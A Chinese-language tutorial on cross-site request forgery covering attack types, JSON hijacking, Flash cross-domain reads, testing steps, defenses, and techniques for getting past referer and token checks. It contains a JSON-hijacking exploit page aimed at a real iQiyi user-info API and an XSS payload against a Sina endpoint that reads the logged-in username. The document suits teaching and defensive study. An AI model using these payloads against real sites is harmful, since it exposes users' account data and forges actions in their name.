跨站请求伪造漏洞(Cross Site Request Forgery,常简写作CSRF,也有写作XSRF的)是指攻击者可以在第三方站点制造HTTP请求并以用户在目标站点的登录态发送到目标站点,而目标站点的应用程序未校验请求来源。
CSRF漏洞从利用形式来看,分为“写”和“写-读”两类。
CSRF“写”是指攻击载体只需要发送HTTP请求的情况。
这一类特征是Web应用程序在有登录态的情况下更改数据,是第三方站点只需要发送请求而不需要获得返回结果。如更改个人资料、发表文章、留言等,最简单的就是利用JavaScript 自动提交表单,很容易造成蠕虫攻击,如下所示:
假设这个页面在 http://hacker.com 上,第一个点击打开页面的人自动发了一条心情,他的好友看到了进而又点击链接进入了恶意站点,导致不断地传播开来,造成蠕虫。
如果是 get 请求可以触发的csrf,利用方式可以在一个正常的网站上插入一张图片(src 即存在漏洞cgi 地址),当别人浏览到这个页面时就会触发请求。
CSRF“写-读”是指攻击载体不仅要先发送HTTP请求,还要获取Web应用程序对该请求的返回内容的情况。
这一类特征是Web应用程序在有登录态的情况下会输出敏感信息,第三方站点需要发送请求并还要获得返回结果,比如 JSON Hijacking和flash装载网页。
JSON(JavaScript Object Notation)是一种轻量的数据交换格式,特别是在跨域交换数据的时候经常用到。一个简单的 jsonHijacking 利用 exp 如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var aaa="";
function testa(str)
{
aaa=str;
}
</script>
<script src="http://passport.iqiyi.com/apis/user/info.action?authcookie=&fields=
userinfo%2Cqiyi_vip%2Cpps%2Caccounts%2Ctokens%2Cv&antiCsrf=&callback=testa" type="text/javascript">
</script>
<script type="text/javascript">
alert(JSON.stringify(aaa)); //可以进一步把数据发往攻击者的站点
</script>
</body>
</html>
另外一个地方是Flash。
Flash的API 支持加载网页内容,如ActionScript 3.0提供的URLLoader类。但Flash装载站点内容必须得到站点根目录下的策略配置文件 crossdomain.xml的支持。如以下代码去读取www.example.com的返回内容(当然需要 http://www.example.com/crossdomain.xml 支持 flash所在域请求):
import flash.net.*;
var myloader = new URLLoader(new URLRequest("http://www.example.com/"));
myloader.addEventListener(Event.COMPLETE,test);
myloader.load();
function test(event:Event){
var ResponseText:String = myloader.data;
text1.text = ResponseText;
stop();
}
如果该网页在用户登录态下会返回敏感信息,则这个flash可以获取到。
- 抓包重放
点击某功能后,使用抓包工具抓包重放,看正常返回值 - 去除refer/token
去除refer/token参数,看返回值是否正常 - 验证
如果正常,本地构造表单测试能否复现
jsonhijacking 形式的也许可以尝试下自动测试,比如cookie 中带uin 字段的,带上refer/去掉refer 都请求一次接口,看返回内容中是否都包含了uin 的值,或者若是根据其他参数key 如 g_tk 来做限制的,可以把g_tk 值去掉,看请求是否也返回敏感信息了。
-
检查 http referer 是否是同域
如果网站有客户端,需要对此开绿灯,可能是个隐患。
注意:ajax 跨域发起请求时是不可以添加 cookie、user-agent、referer、 x_forward_for 等http 头的,可以看下w3c给出的一份头部黑名单。否则 referer 校验就无效了。
此外在某些情况下,浏览器也不会发送referer,比如从https 跳转到 http;flash 的请求等。 -
限制 cookie 的生命周期(减少发生概率)
-
使用一次性 token token 是一段随机的数字字母值,经常出现在表单的隐藏项中。
-
使用验证码(降低用户体验)
当同域页面上有xss 漏洞时,可以通过 ajax 获取到其他页面的 token;
token 如果出现在 get 参数中,也容易通过 refer的方式泄露;
此时只能通过验证码来防范csrf 了。 -
如果是会修改内容的请求,请使用post 请求,且在满足post 内容格式要求的情况下使用
Content-Type:application/json
,而当不同源客户端添加Content-Type
为application/json
的时候浏览器会进行预检(发送OPTIONS请求),之后请求就会失败(服务器不要在Access-Control-Allow-Headers
中加入Content-type
),而不会进一步发起真实的post请求,否则可能造成其实数据已经被post请求修改,虽然服务器返回响应时被浏览器拦截了。 -
设置Set-Cookie 头部的samesite 属性,即允许声明该 Cookie 是否仅限于第一方或者同一站点上下文,即在跨域请求时第三方站点cookie 不会一起发送出去
-
双重cookie校验。利用csrf 不能获取到用户cookie的特点,可以要求ajax和表单请求都携带一个cookie值
- 在用户访问站点页面时,往cookie植入一个随机值xxx
- 在前端往后端请求时获取到cookie值并携带到url 如 cgi?csrfcookie=xxx
- 后端验证cookie中的字段值与url 参数值是否一致
绕过csrf 防御技巧:
- refer 验证绕过:只验证了是否存在关键词,如
Referer:http://t.qq.com
可以使用
Referer:http://t.qq.com.yourdomain.com
Referer:http://yourdomain.com/t.qq.com/
Referer:http://yourdomain.com?r=http://t.qq.com
注:从https域下post数据到http域的时候,浏览器不带Referer;用 iframe 加载时也不带referer;比如本地html,还有某些伪协议远程调用时是没有referer的; - 有时候存在token, 服务器端不一定做了验证,可以直接把 token 参数删除看是否能返回正常值;
- 将 post 请求换成对应的 get 请求,也许也可以绕过 refer 限制;
- 找到一个满足refer要求的站点的url 跳转漏洞绕过refer 校验。
- 利用xss 漏洞绕过refer 校验,如下payload 绕过了 data_ajax.php 的refer 校验
http://interface.sina.cn/yuedu/index_feed.d.json?page=1&act=more&jsoncallback=<script>function a(msg){alert(msg.data.login_info.username);}</script><script src="http://xx.sina.com.cn/data_ajax.php?_a=top_data&rnd=16721&callback=a"></script>
注意:
- 从页面
document.referer
获取的是当前页面的上一跳,而发起http 请求带的referer头 是指的当前发起请求时所在的页面 - 从页面
document.cookie
获取的是当前域domain下的cookie(httponly属性的不行),如果发起跨域请求此时带的cookie头部,指的是目标域下的cookie,两者不相同 - 从浏览器页面发起的请求,自动带上referer和origin等头部(默认值),但如果抓包拦截是可以修改的(无法作为自动化攻击手段);直接从服务器后台发起的请求,更是可以任意添加头部和值,且返回内容直接给到服务器后台,故也不存在浏览器的跨域策略限制等。